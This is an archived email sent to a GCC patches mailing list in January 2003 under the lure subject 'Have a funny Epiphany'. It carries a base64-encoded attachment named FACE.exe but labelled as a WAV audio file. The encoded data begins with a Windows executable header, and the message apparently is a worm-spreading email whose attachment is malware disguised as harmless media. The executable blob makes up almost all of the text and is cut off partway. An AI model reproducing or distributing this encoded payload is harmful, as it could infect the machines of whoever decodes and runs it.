From java-patches-return-5718-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 01 17:52:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2382 invoked by alias); 1 Jan 2003 17:52:13 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2373 invoked from network); 1 Jan 2003 17:52:11 -0000 Received: from unknown (HELO relay-3v.club-internet.fr) (194.158.96.114) by 209.249.29.67 with SMTP; 1 Jan 2003 17:52:11 -0000 Received: from Wkarg (lxxx-4-161.n.club-internet.fr [213.44.8.161]) by relay-3v.club-internet.fr (Postfix) with SMTP id C633C1719 for ; Wed, 1 Jan 2003 18:50:57 +0100 (CET) From: mark To: java-patches@gcc.gnu.org Subject: Have a funny Epiphany MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=Vq930Rtxefon57xVuZC2xBsVRLFX52 Message-Id: <20030101175057.C633C1719@relay-3v.club-internet.fr> Date: Wed, 1 Jan 2003 18:50:57 +0100 (CET) --Vq930Rtxefon57xVuZC2xBsVRLFX52 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --Vq930Rtxefon57xVuZC2xBsVRLFX52 Content-Type: audio/x-wav; name=FACE.exe Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPsFItF EFNWM/ZXM9uJdeyJdfiJRfA7dRAPjW8BAACLRfBqA1o7wolV9H0DiUX0i030uD09PT2Nffxm q4XJqn4Vi0UIjX38A/CLwcHpAvOli8gjyvOkik38isHA6AKF24hF/3Qmi30Uhf9+J4vDi3UM K0X4mff/hdJ1G8YEMw1DxgQzCkODRfgC6wuLdQyLfRTrA4t1DA+2Rf+LFTDwQACA4QPA4QSK BBCIBDOKRf2K0EPA6gQCyoXbdCGF/34di8MrRfiZ9/+F0nUOxgQzDUPGBDMKQ4NF+AKKRf2L FTDwQAAkDw+2ycDgAooMEYgMM4pN/orRQ8DqBgLChduIRf90HoX/fhqLwytF+Jn3/4XSdQ7G BDMNQ8YEMwpDg0X4Ag+2Rf+LFTDwQACKBBCIBDNDg330An8FxkQz/z2A4T+F23Qehf9+GovD K0X4mff/hdJ1DsYEMw1DxgQzCkODRfgCD7bBiw0w8EAAigQIiAQzQ4N99AF/BcZEM/89i3Xs g8YDg23wA4l17OmI/v//X4vDXlvJw1WL7IHsEAEAAINl+ACNRfxQagRoUgJBAOjJIgAAWVlQ aAIAAID/FUzQQACFwA+FtwAAAFNWV7uLCUEAUFPo1CIAAFmJRfRZjYXw/v//aAQBAABQ/3X4 /3X8/xVQ0EAAhcB1e42F8P7//1DowbUAADP/WTl99H5fV1PoaCIAAFCNhfD+//9Q6GUqAACD xBCFwHQ+aJMLQQD/FfTQQACL8IX2dC1qAmiTDEEA6DciAABZWVBW/xU40UAAhcB0DI2N8P7/ /1H/dfz/0Fb/FfDQQABHO330fKH/Rfjpaf////91/P8VXNBAAF9eW8nDVYvsgewUCAAAjUUM VoNl/ABQ/3UMvgAEAACJdfSJdfj/dQj/FUzQQACFwHQHM8Dp7AAAAFNXv4sJQQBqAFfo5yEA AFmJRQhZjUX4M9tQjYXs9///UI1F8FCNRfRTUI2F7Pv//4l19FCJdfj/dfz/dQz/FUTQQACF wA+FlAAAAIN98AF0BiCF7Pf//42F7Pv//1DorbQAAI2F7Pf//1DoobQAAIN9CABZWX5gU1fo SCEAAIlF7FCNhez7//9Q6EIpAACDxBCFwHUs/3XsjYXs9///UOgsKQAAWYXAWXUXjYXs+/// aDTwQABQ6O1iAABZhcBZdRCNhez7//9Q/3UM/xVU0EAAQztdCHyg/0X86TX/////dQz/FVzQ QABfM8BbXsnCCABVi+yB7AACAABW6OD9//+NhQD+//9qAlDoHSkAAFmNhQD+//9ZvgIAAIBQ Vuiq/v//jYUA/v//agZQ6PsoAABZjYUA/v//WVBW6I3+//9eycNVi+yB7EQEAABTaMDwQADo MmQAADPbxwQkBA5BAFOJRezoKUAAAFNoxQtBAOiDIAAAg8QQiUX8jYW8+///aAQBAABQU/8V FNFAAP91CMeFwPz//yQCAABqCOjsYQAAjY3A/P//iUXoUVDo1mEAAIXAD4R/AQAAjYXg/f// UI2F5P7//1DozWIAAI2F5P7//1CNhbz7//9Q6Iq0AACDxBCFwA+ETgEAAP+1yPz//1No/w8f AP8VINFAADvDiUX0D4QxAQAAVr4AAAgAV1a/0DFBAFNX6B5iAACLhdj8//+DxAw7xnICi8Y5 XQyJXfh1HY1N+FFQV/+11Pz///919P8VGNFAAIXAD4TbAAAAOV38iV0ID4bPAAAA/3UIaMUL QQDoXx8AAFCJRfDoGGMAADP2g8QMOXUMi9h0CI1DbolF+OsDi0X4K8OD6AoPhIgAAAD/deyN vtAxQQBXaMDwQADoErMAAIPEDIXAdGaDfQwAdSBTV/918Oj7sgAAg8QMhcB0D4tF+EYrw4Po CjvwcsHrR2oA/3X0/xUo0UAAajL/FSzRQABqAWjwDUEA6NQeAABQjYXk/v//UOjRJgAAg8QQ hcB1DY2F5P7//1DoOykAAFmLRfxAiUUI/0UIi0UIO0X8D4Ix/////3X0/xUk0UAAagFbX17/ dej/FSTRQACLw1vJwggAVYvsgew4AgAAU1ZXal9eM9tTaIsJQQDokx4AAFmJRfxZjUYBamSZ Wff5agpZi8KJRfiZ9/mF0nUF6Gz9//9TagLHhcz+//8oAQAA6PVfAACNjcz+//+JRfRRUOjx XwAAhcAPhKcAAACNhcj9//9TUFONhfD+//9TUOg+YgAAjYXI/f//UOg/sQAAg8QYOV34dQxT /7XU/v//6F39//8z/zP2OV38fk5WaIsJQQDozR0AAFCNhcj9//9Q6GKyAACDxBCFwHUli0X8 SDvwdQg5HQA5SQB0FWoBX1f/tdT+///oFv3//4k9PBNBAEY7dfx8tjv7dQaJHTwTQQCNhcz+ //9Q/3X06EFfAADpUf////919P8VJNFAADkd8DhJAHQcaOQ1SQBo3DNJAGjgNEkAaAIAAIDo Ey8AAIPEEGpk/xUs0UAAi3X46dX+//+LwcNVi+xRUVNWV2oCWovxagQz/zl9EFm4AAAAgIva iU34iX38iT6JfgSJfgh1CrgAAADAi9mJVfg5fQh0NVdqIGoDV2oBUP91CP8V/NBAAIP4/4kG dF2NTfxRUP8V7NBAADl9/IlGDHUdi00MO890AokBV1dXU1f/Nv8VBNFAADvHiUYEdQr/Nv8V JNFAAOsjV1dX/3X4UP8VCNFAADvHiUYIdRH/dgSLPSTRQAD/1/82/9czwF9eW8nCDABWi/FX i0YIhcB0B1D/FfjQQACLRgSLPSTRQACFwHQDUP/XiwaFwHQDUP/XgyYAg2YEAINmCABfXsNT Vot0JAwz21dT6GYvAACD4AFqB4mGHAkAAGomjYa4CAAAagpQ6MQeAACDxBQ4Heg2SQB0E42G tAcAAGjoNkkAUOjJXgAAWVlW6I8BAAAPvoYsAQAAjb4sAQAAUOhgYQAAOJ6sAQAAWVmIB3UK x4YcCQAAAQAAADiesAYAAI2+sAYAAHUfagH/tiAJAABo3AFBAOimGwAAWVlQU1fofykAAIPE EF9eW8NVi+yD7BxTVo1F5FdQ/xXY0EAAM9u+5gZBAFNW6KQbAABZO8NZiUX0D44AAQAAvxjS QAAzwIH/KNJAAA+dwEiLD4PgColN/IPABYlN+PfYUI1F/FDoMzIAAFlZZotN+GY5Tfx+CWaD wQxmg0X6Hg+3ReYPv1X8O9B/HQ+/yTvBfxYPt0XqD79N/jvIfwoPv036QUE7wX4JQ4PHBDtd 9HyTO130D42FAAAAU1bo5RoAAGoAi9joFC4AAIvwi0UIg+YBVmhmB0EAjbgsAQAA6MMaAABQ V+iOXQAAagDo7S0AAIPEIDPSagNZ9/GF0nQEhfZ0LmoA6NQtAABqBjPSWffxUmikA0EA6Ioa AABQV+hlXQAAaDjwQABX6FpdAACDxBxTV+hQXQAAWVlqAVjrAjPAX15bycNVi+yB7AgMAABT Vot1CI2F+Pf//1dQjYX48///M9tQjUZkUIld/Iid+PP//+hpIQAAjYasAQAAU4lF+GjcAUEA iBiNhiwBAACInVz0//+Infj7//+JRQiIGIiesAYAAOgsGgAAU4v46CwtAAAz0lP394mWIAkA AOgcLQAAg8QcqAN1D1boQv7//4XAWQ+FTQMAAFPoAC0AAFkz0moYWffxhdJ1LGi0DkEAiZ4c CQAA/3UI6HtcAACBxsgAAABWaMoOQQD/dfjosGAAAOkMAwAAU+jCLAAAWTPSahhZ9/GF0g+F pwAAAMdF/AEAAABT6KUsAABZM9JqA1n38YXSD4TxAQAAOV38D4XoAQAAv/IDQQBTV+h4GQAA U4lF+Oh3LAAAM9L3dfhSV+gzGQAAU4v46GMsAACDxBgz0moDWffxhdIPhZ0BAABT6EssAABZ M9JqCln38YXSD4UnAQAAV1PoNCwAAIPgAYPABFBoEANBAOjrGAAAg8QMUP91COj6XwAAV1bo ZgYAAOlPAgAAU+gFLAAAqB9ZdQpoOPBAAOlDAQAAU+jwKwAAqAFZD4U8////OB3sN0kAD4Qw ////agFqMo2F+Pv//2oIv+w3SQBQV+hcHgAAg8QUhcAPhA3///9Tx4YcCQAAAQAAAOioKwAA WTPSagqInfj3//9Z9/GNhfj7//9QO9N1L1PoiSsAAIPgAYPABFBoEANBAOhAGAAAg8QMUP91 COhPXwAAjYX4+///UOlK/////3UI6PJaAABT6FIrAACDxAyoPw+FjgEAAGoBaCADAACNhfj3 //9qCFBXiJ349///6MQdAACNhfj3//9Q/3X46LZaAACDxBzpWwEAAFPoDisAAIPgA1BoEANB AOjIFwAAi3UIUFbokFoAAFPo8CoAAIPEGKgBdBuNhfjz//9QVuiGWgAAaDzwQABW6HtaAACD xBAPvgdQ6N1dAABXVogH6GZaAACDxAzp+wAAAFf/dQjoRVoAAFlZ6esAAABT6J4qAABZM9Jq BVn38Tld/Iv6dAIz/4sEvfDRQABTiUX8iwS9BNJAAIlF+OhzKgAAM9JZ93X4AVX8g/8EfWNT 6F8qAACoAVl1I4P/A3QeU+hPKgAAg+ABg8AIUGioBUEA6AYXAACDxAyL2OsFu6AxQQD/dfxo pANBAOjtFgAAWVlQU1doVANBAOjeFgAAWVlQjYX4+///UOjqXQAAg8QQ6y3/dfxopANBAOi9 FgAAWVlQV2hUA0EA6K8WAABZWVCNhfj7//9Q6LtdAACDxAyNhfj7//9Q/3UI6GBZAAD/dfxX VugIAAAAg8QUX15bycNVi+yB7GACAACDfQwEU1ZXD4SZAQAAM9tT6JYpAACoAVm+qAVBAHUg g30MA3QaU+iAKQAAg+ABg8AIUFboOxYAAIPEDIv46wW/oDFBAP91EGikA0EA6CIWAABZWVBX /3UMaFQDQQDoERYAAFlZUI2FaP7//1DoHV0AAFPoNCkAAIPgAYPAEFBW6O8VAACDxBxQU+gd KQAAagMz0ln38YPCElJW6NQVAACDxAxQag9W6MgVAABZWVCNhTD///9Q6NRcAABT6OsoAACD xBSoAXUmU+jeKAAAg+ABUGgQA0EA6JgVAABQi0UIBawBAABQ6FtYAACDxBSLRQhqDlaNuKwB AACJfRDochUAAFBX6E1YAACNhWj+//9QV+hAWAAAg8QYOV0Mv3YHQQB1ZFf/dRDoKlgAAGgz CUEA/3UQ6B1YAACLdQhTaHQNQQCJnhwJAACJniAJAADoURUAAFOJRfyBxrAGAADoSigAADPS 93X8Umh0DUEA6AIVAABQVujNVwAAaNwBQQBW6NJXAACDxDRX/3UQ6MZXAACNhTD///9Q/3UQ 6LdXAACDxBDpVgIAADPbU+j9JwAAg+ABvlgFQQCJRfyLRQhTVomYHAkAAImYIAkAAOjUFAAA U4v46NQnAAAz0vf3UlbokRQAAIlF+FCNhWj+//9Q6FNXAABT6LMnAACDxCS+qAVBAKgBdAnH RQygMUEA6xlT6JgnAACD4AGDwAhQVuhTFAAAg8QMiUUM/3UMagRW6EIUAABZWVCNhTD///9Q 6E5bAACNhTD///9QjYVo/v//UOgCVwAAi30QV2ikA0EA6BIUAACDxByJRRBQagRoVANBAOj/ EwAAWVlQjYUw////UOgLWwAAjYUw////UI2FaP7//1Dov1YAAP91EI2FMP///1DooFYAACs9 ANJAAIPHBldW6L4TAACDxCRQ/3UMagVW6K8TAABZWVCNhaD9//9Q6LtaAACNhaD9//9QjYUw ////UOhvVgAAi0UIg8QYOV38dC6NjWj+//8FrAEAAFFQ6EJWAACLRQi/dgdBAAWsAQAAV1Do PlYAAI2FMP///+ssjY0w////BawBAABRUOgUVgAAi0UIv3YHQQAFrAEAAFdQ6BBWAACNhWj+ //9Qi0UIBawBAABQ6PtVAACLRQiDxBgFrAEAAFdQ6OlVAACLRQhXjbisAQAAV+jZVQAAag1W 6O8SAABQV+jKVQAAagpW6OASAABQV+i7VQAAagtW6NESAABQV+isVQAAg8RA/3X4V+igVQAA agxW6LYSAABQV+iRVQAAi0UIU4mYHAkAAI2wsAYAAOjSJQAAg+ABUGh0DUEA6IwSAABQVuhX VQAAaNwBQQBW6FxVAACDxDRfXlvJw4PsZFOLXCRsVVaNq8gAAABXjbOsAQAAVWioBUEAVuhq WQAAv3YHQQBXVuglVQAAV1boHlUAAGiQBUEAVugTVQAAjUNkUFboCVUAAFdW6AJVAABqAWiQ BUEA6BQSAABQVujvVAAAg8REVVbo5VQAAFdW6N5UAABqAmiQBUEA6PARAABQVujLVAAA/7Qk nAAAAFbovlQAAFdW6LdUAABqAOgGJQAAg+ABv6gFQQBAUFfovhEAAFBW6JlUAACDxERqA1fo rBEAAFBW6IdUAACNRCQgUI1DZGoAUOjPGAAAagFofQdBAOiJEQAAUFXoVFQAAI1EJDxQVehZ VAAAg8Q0g6McCQAAAF9eXVuDxGTDVYvsgexoCAAAU1ZXi30MaJAFQQBX6B1UAACLXQiNhZj3 //9QjYWY+///jbPIAAAAUFboaBgAAI2FmPv//1ZQjYWY9///aCsNQQBQ6DBYAACNhZj3//9Q V+jqUwAAvn0HQQBWV+jeUwAAagFokAVBAOjwEAAAUFfoy1MAAIPERI1DZFBX6L5TAABWV+i3 UwAAagJokAVBAOjJEAAAUFfopFMAAI2DLAEAAFBX6JdTAABWV+iQUwAAaJ0HQQBX6IVTAACN g7gIAABQV4lFDOh1UwAAg8RAVlfoa1MAAFZX6GRTAABqB2oUjUWYaghQ6CQTAABqAf91DFfo NQIAAIPELIO7HAkAAACLxnQejUWYUI2FmPf//2j7CEEAUOhgVwAAg8QMjYWY9///UI2FmPv/ /2jhB0EAUOhFVwAAjYWY+///UFfo/1IAAI2DrAEAAFBX6PJSAABoTwhBAFfo51IAAFZX6OBS AABWV+jZUgAAagDoKCMAAIPEOIPgAYO7HAkAAACJRQh1B8dFCAIAAABqAf91DFfomQEAAIPE DI1FmFCNg7AGAABQ/3UIaMEIQQDosQ8AAFlZUI2FmPv//2hnCEEAUOi4VgAAjYWY+///UFfo clIAAFZX6GtSAABWV+hkUgAAjUX8agFQjYOsBQAAUOi6HAAAg8Q4iUUIhcB0ElBX6EFSAAD/ dQjoxFYAAIPEDFZX6C9SAACBw7QHAABZWYA7AA+E6wAAAFPozhgAAD0AyAAAWYlF/HIbPQDQ BwAPg88AAABqAOhRIgAAqAFZD4S/AAAAjUX8agBQU+hOHAAAg8QMiUUIhcAPhKUAAABqAf91 DFfouAAAAGoB/3UMV+itAAAAjYWY+///UI2FmPf//1BqAGoAU+gFUwAAjYWY+///UI2FmPf/ /1Dol1EAAIPENI1FmFCNhZj3//9QagJowQhBAOibDgAAWVlQjYWY+///aGcIQQBQ6KJVAACN hZj7//9QV+hcUQAAVlfoVVEAAFZX6E5RAAD/dQhX6EVRAABWV+g+UQAA/3UI6MFVAACDxEBq AP91DFfoEwAAAGhA8EAAV+gdUQAAg8QUX15bycNVi+xoQPBAAP91COgFUQAA/3UM/3UI6PpQ AACDxBCDfRAAdA9ofQdBAP91COjkUAAAWVldw1WL7IPsMFNWV/8V1NBAAIt9CDPbUFNo/w8f AIld8MdF9DIAAACJXfiIXdiIXdmIXdqIXduIXdzGRd0FiV3oiV3siV38iV3kiR//FSDRQACN TfCJReBRaghQ/xUg0EAAhcB1Dv8V4NBAAIlF/OkSAQAA/3X0U/8VlNBAADvDiUX4dOGNTfRR /3X0UGoC/3Xw/xUw0EAAizXg0EAAhcB1OP/Wg/h6dWv/dfj/FdzQQAD/dfRT/xWU0EAAO8OJ Rfh0UY1N9FH/dfRQagL/dfD/FTDQQACFwHQ6jUXoUFNTU1NTU1NqBI1F2GoBUP8VKNBAAIXA dB2NRexQU1NTU1NTU2oGjUXYagFQ/xUo0EAAhcB1B//W6VH///+LdfiJXQg5HnZSg8YE/3Xo iwaLTgSJRdBQiU3U/xUs0EAAhcB1Iv917P910P8VLNBAAIXAdR3/RQiLRfiLTQiDxgg7CHLH 6xTHReQBAAAAiR/rCccHAQAAAIld5DkfdQs5XeR1BscHAQAAADld7Is1PNBAAHQF/3Xs/9Y5 Xeh0Bf916P/WOV34dAn/dfj/FdzQQAA5XfCLNSTRQAB0Bf918P/WOV3gdAX/deD/1otF/F9e W8nDVYvsuOAtAADoBlcAAFMz2zldEFZXx0X8IAAAAIideP///3QT/3UQjYV4////UOjQTgAA WVnrFWoHagqNhXj///9qBVDomQ4AAIPEEDldGHQF/3UY6wVo5DVJAI2FePr//1DonE4AAIt1 CFlZjYV0/v//VlDoik4AAP91DI2FdP7//1Doi04AAIPEEDldFHQT/3UUjYVw/f//UOhkTgAA WVnrImoBaNwBQQDoQ1YAAGoCmVn3+Y2FcP3//1JQ6FIZAACDxBA5HfA4SQB0HmoBU+gdVgAA agKZWff5jYVw/f//UlDoLBkAAIPEEI2FdP7//1Do/E4AAIC8BXP+//9cjYQFc/7//1l1AogY gL1w/f//XHQTjYV0/v//aETwQABQ6O5NAABZWY2FcP3//1CNhXT+//9Q6NlNAABZjYV0/v// WVNQjYV4+v//UP8VfNBAAIXAD4RlAQAA6JRVAABqBZlZ9/mF0nQi6IVVAACZuQAoAAD3+Y2F dP7//4HCgFABAFJQ6JkWAABZWWh6IgAAjYUg0v//aMDwQABQ6BNSAACNhSDS//+InTTi//9Q jYV0/v//UOj/LAAAjYV0/v//UOgQKwAAg8QYOR3wOEkAD4XqAAAAjUX8UI1F3FD/FWTQQACN RdxQjUYCUOjkngAAWYXAWQ+ExQAAAGoCU1aLNQDQQAD/1ov4O/t1CTldHA+EqgAAAFNTU1ON hXT+//9TUFNqA2gQAQAAjYV4////U1CNhXj///9QV/8VSNBAAFeLPUDQQAD/12oBU/91CP/W i/CNhXj///9qEFBW/xU40EAAU1NQiUUQ/xUk0EAA/3UQiUUY/9dW/9c5XRgPhWUBAAC6gQAA ADPAi8qNvab2//9miZ2k9v//ZomdnPT///OrZquLyjPAjb2e9P//OR0EOUkA86uJXRCJXRhm q3UHM8DpJAEAAItFDIA4XHUHx0UYAQAAAL8EAQAAjYWk9v//V4s1eNBAAFBq//91CGoBU//W 